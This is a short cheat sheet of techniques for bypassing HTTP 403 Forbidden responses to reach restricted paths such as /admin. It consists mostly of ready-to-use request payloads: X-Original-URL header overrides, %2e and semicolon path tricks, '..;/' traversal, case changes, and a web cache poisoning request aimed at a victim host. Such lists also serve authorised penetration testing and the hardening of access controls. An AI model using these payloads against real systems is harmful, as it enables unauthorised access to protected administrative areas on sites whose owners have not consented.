# Bypass 403 (Forbidden) ### Using `X-Original-URL` header ```bash # Normal Request (403) GET /admin HTTP/1.1 Host: target.com # Try this to bypass (200) GET /anything HTTP/1.1 Host: target.com X-Original-URL: /admin ``` ### Appending `%2e` after the first slash ```bash # Normal Request (403) http://target.com/admin # Try this to bypass (200) http://target.com/%2e/admin ``` ### Try add dot `.` slash `/` and semicolon `;` in the URL ```bash # Normal Request (403) http://target.com/admin # Try this to bypass (200) http://target.com/secret/. http://target.com//secret// http://target.com/./secret/.. http://target.com/;/secret http://target.com/.;/secret http://target.com//;//secret ``` ### Add `..;/` after the directory name ```bash # Normal Request (403) http://target.com/admin # Try this to bypass (200) http://target.com/admin..;/ ``` ### Try to uppercase the alphabet in the url ```bash # Normal Request (403) http://target.com/admin # Try this to bypass (200) http://target.com/aDmIN ``` ## Via Web Cache Poisoning ```bash GET /anything HTTP/1.1 Host: victim.com X­-Original-­URL: /admin ```